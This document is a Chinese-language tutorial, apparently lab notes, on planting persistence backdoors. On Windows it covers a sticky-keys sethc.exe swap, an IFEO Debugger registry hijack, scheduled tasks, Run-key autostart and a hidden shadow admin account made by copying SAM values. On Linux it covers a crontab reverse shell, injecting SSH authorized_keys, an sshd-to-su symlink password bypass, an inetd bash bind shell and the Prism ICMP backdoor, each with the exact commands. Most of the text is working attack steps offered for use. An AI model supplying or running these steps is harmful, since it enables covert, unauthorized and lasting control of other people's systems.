一、WIndows后门

1. 概述

(1). 介绍

  • 留在目标主机上的软件,可以使攻击者随时与目标主机建立连接

2. Shift后门

  1. 建议以管理员身份Administrator登录,避免低级权限

    高权限用户登录

  2. 首先备份sethc.exe和cmd.exe文件

  3. 先进入粘滞键sethc.exe文件所在目录

    C:\Windows\System32
    
  4. 备份sethc.exe和cmd.exe文件,以便以后消除痕迹

      copy sethc.exe sethc.exe.bak
      copy cmd.exe cmd.exe.bak
    

    备份文件

  5. 修改sethc.exe文件所属权限,避免出现拒绝访问情况

    #1.使用 takeown 和 icacls 命令
    takeown /f sethc.exe
    #2.赋予当前用户完全控制权限:
    icacls sethc.exe /grant %username%:F
    #3.再次尝试替换文件:
    copy cmd.exe sethc.exe
    

    修改权限

  6. 退出登录,再次回到登录页面,尝试启用粘滞键,成功实现该效果

    粘滞键后门

3. 映像劫持后门

(1). 手动实现

  • 在注册表的指定位置添加新的项

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
    
  • 打开指定位置

    寻找路径

  • 添加新的映像

    添加

    添加成功

  • 添加一个值

    设置值

  • 修改名称和内容

  • 值的名称一定是Debugger,值为篡改后文件的路径

    修改

  • 退出当前用户登录,回到登录页面,勾选打开屏幕键盘,连按5下shift启动粘滞键,成功弹出cmd.exe,并且高权限

    打开屏幕键盘

    成功实现

(2). 命令行实现

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f

4. 计划任务后门

  • 通过命令at(<=win7) or schtasks调用计划任务
  • at只会打开一个后台进程,而schtasks命令是将定时的任务在前台执行

(1). at

AT [\\computername] time [/interactive] [/every:date[,...]|/next:date[,...]] "command"

(2). schtasks

a. 参数
  • 存在下列参数

| 参数 | 描述 |
| ——————— | ———————————- |
| schtasks | 创建、删除、配置和显示计划任务 |
| /create | 创建一个新的计划任务 |
| /tn “TaskName” | 设定计划任务的名称 |
| /tr “TaskRun” | 设定计划任务调用程序的绝对路径 |
| /sc schedule | 指定计划任务的运行频率 |
| [/mo modifier] | 指定调度的修改器 |
| [/d day] | 指定任务运行的星期几 |
| [/m month1,month2…] | 指定任务运行的月份 |
| [/i IdleTime] | 指定在系统闲置状态下任务运行的时间 |
| /st StartTime | 指定任务开始运行的时间 |
| [/sd StartDate] | 指定任务的开始日期 |
| [/ed EndDate] | 指定任务的结束日期 |
| [/s computer] | 指定要在其上创建任务的远程计算机 |
| [/u [domain]user] | 指定具有创建任务权限的用户 |
| [/p password] | 指定用户的密码 |
| [/ru {Domain]User | “System”} |
| [/rp Password] | 指定运行任务的用户的密码 |
| /? | 显示帮助文档 |

b. 实例
#在cmd命令行输入以下内容,创建一计划任务
schtasks /create /tn "chrom" /tr cmd.exe /sc minute /mo 1       #创建一计划任务,名称为chrom,每一分钟打开一次cmd.exe

5. 注册表自启动后门

  • 位置HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,通过修改注册表实现自启动需要运行程序

  • 最常见的方式,在指定键值添加一个新的键值类型为REG_SZ,数据项中添加需要运行程序的路径即可启动

  • 打开注册表,在注册表使用右键新建一个字符串值

    新建键值对

  • 名称随意填写,数据部分填写需要运行程序的路径

    选择执行程序路径

  • 重启服务器,开机后自动弹出cmd.exe

    弹出服务器

6. 影子账户

  1. 先创建一个隐藏账户

    创建隐藏账户

  2. 无法使用net user查看,但可在用户管理页面查看

    net user

    运行窗口输入lusrmgr.msc
    

    用户管理页面

  3. 进入注册表指定位置

    HKEY_LOCAL_MACHINE\SAM\SAM
    

    进入注册表

  4. 对于上图选定的SAM选项,赋予Administrators完全控制权限,完成后重新打开注册表即可看到

    修改权限

    修改权限

  5. 进一步进入其子项

  6. 内容中,Users和Names的值一一对应,一起构成一个完整的用户

    HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
    

    一一对应

  7. 将Administrator用户对应项的F值,复制到hack$对应项中的F值,并保存

    复制Administrator的F值

    替换hack对应F值

  8. 将Names中的test$和Users中对应的内容进行右键导出

    导出Users内容

    导出Names内容

    成功导出

  9. 删除创建的hack$账号

    删除账号

  10. 双击运行之前导出的2个注册表文件,影子账户创建完成

    创建完成

  11. 检验,net user无法查看,lusrmgr无法查看,只能注册表查看

    net user

    lusrmgr

注册表

二、Linux后门

1. 写crontab

  1. 在攻击机中开启监听

    nc -lvvp 1234
    

    开启监听

  2. 在目标机中设置计划任务,内容为每隔一段时间反弹shell

    设置计划任务

  3. 等待一段时间,成功反弹shell

    成功反弹shell

2. 写ssh公钥

  1. 攻击机生成ssh公钥

    ssh-keygen -t rsa
    

    攻击机生成ssh公钥

    存储位置

  2. 将生成的公钥写入到目标服务器的/.ssh/authorized_keys

  3. 前提,ssh配置文件中必须允许ssh远程登录

scp c:/Users/26254/.ssh/id_rsa.pub root@192.168.71.4:/root/.ssh/authorized_keys

成功写入

  1. 攻击机直接连接靶机,验证私钥成功,成功免密登录

    成功免密登录

3. ssh软连接

  • 直接对sshd建立软连接,之后使用任意密码就可以登录

(1). 原理

  • 利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,之后应用在启动过程中会去PAM配置文件夹中寻找su的配置信息,而su的PAM配置(pam_rootok)被设置为只要uid=0 就能使用该命令,因此可以篡改ssh使用密码登录的策略。
  • 注意:PAM(可插拔认证模块)配置文件定义了系统如何处理用户身份验证。每个服务(如 sshsu)都有对应的配置文件,位于 /etc/pam.d/ 目录中

(2). 解释

  1. 如果使用su,那么只能使用root登录,因为su的PAM文件只检测登录用户的uid是否为0,为0则认证成功
  2. 软连接的文件,需要有配置文件存在于/etc/pam.d/目录下
  3. PAM(Pluggable Authentication Modules,可插拔认证模块),允许系统管理员灵活地配置各种身份验证方法和策略

(3). 特点

  1. 隐蔽性较弱,会被rookit hunter这类防护脚本检测到
  2. 在本地查看端口号时会暴露端口,因此最好进行端口伪装
  3. 能绕过一些网络设备的安全流量监控

(4). 实例

  1. 在目标服务器上创建软连接

    ln -sf /usr/sbin/sshd /tmp/su
    

    创建软连接

  2. 在目标服务器上设置监听端口号

    /tmp/su -oPort=8080
    

    设置监听端口号

  3. 尝试使用ssh连接目标服务器

    ssh root@192.168.71.4 -p 8080
    

4. inetd/xinetd

  • inetd是监听外部网络请求(socket)的系统守护进程,适用于古老的服务

(1). 原理

  • 当inetd接收到一个外部请求后,会根据这个请求到自己的配置文件中去找到实际处理他的程序,并交给它处理

(2). 配置文件格式

格式

(3). 实例

  1. 向/etc/inetd.conf文件中加入一行

    daytime stream tcp nowait root /bin/bash bash -i
    

    加入内容

  2. 靶机开启inet服务,之后攻击机使用nc进行连接

    sudo systemctl start openbsd-inetd       #在靶机上启动inet服务
    nc -lvvp 192.168.71.4 13    #inet默认端口为13
    

    连接建立成功

  3. 成功建立连接,但无数据返回

5. Prism

  • 是Linux下的ICMP反弹后门工具,使用时会在后台等待特性的主机/端口连接信息的ICMP数据包

(1). 地址

  • https://github.com/andreafabrizi/prism

(2). 实例

  1. 编译prism.c文件

    gcc -DDETACH -Wall -s -o prism prism.c
    

    编译

  2. 编译完成后,可以查看prism后门的配置信息,包括连接密码

    ./prism Inf0
    

    查看信息

  3. 将该后门上传到目标服务器上,再以root用户运行sendPacket.py脚本

    sudo python ./sendPacket.py 目标靶机IP 连接密码 攻击机IP 攻击机监听端口
    sudo python ./sendPacket.py 192.168.71.21 p4ssw0rd 192.168.71.4 1234
    

    运行脚本

  4. 在攻击机监听相关端口,等待一段时间后,后门主机反弹连接给攻击机

nc -lvvp 1234

成功反弹shell